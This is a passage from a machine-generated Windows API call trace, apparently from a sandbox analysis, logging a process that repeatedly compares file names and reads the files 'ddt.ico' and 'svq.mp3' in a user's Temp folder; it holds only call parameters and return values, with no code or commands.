lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.942] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.942] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.942] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.942] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.942] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.942] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.942] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.942] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.943] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.943] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.943] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.943] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.943] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.943] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.943] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.943] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.943] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.943] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.943] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.943] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.944] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.944] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.944] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.944] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.944] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.944] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.944] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.944] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.944] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.944] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.945] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.945] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.945] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.945] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.945] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.945] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.945] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.945] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.945] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.945] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.945] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.946] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.946] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.946] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.946] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.946] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.946] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.946] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.946] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.946] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.947] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.947] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.947] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.947] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.947] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.947] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.947] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.947] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.947] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.947] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.948] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.948] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.948] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.948] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.948] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.948] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.948] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.948] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.948] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.948] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.948] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.949] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.949] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.949] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.949] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.949] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.949] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.949] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.949] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.950] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.950] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.950] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.950] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.950] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.950] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.950] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.950] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.951] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.951] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.951] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.951] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.951] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.951] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.951] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.951] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.951] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.951] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.951] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.952] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.952] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.952] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.952] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.952] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.952] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.952] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.952] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.952] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.952] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", 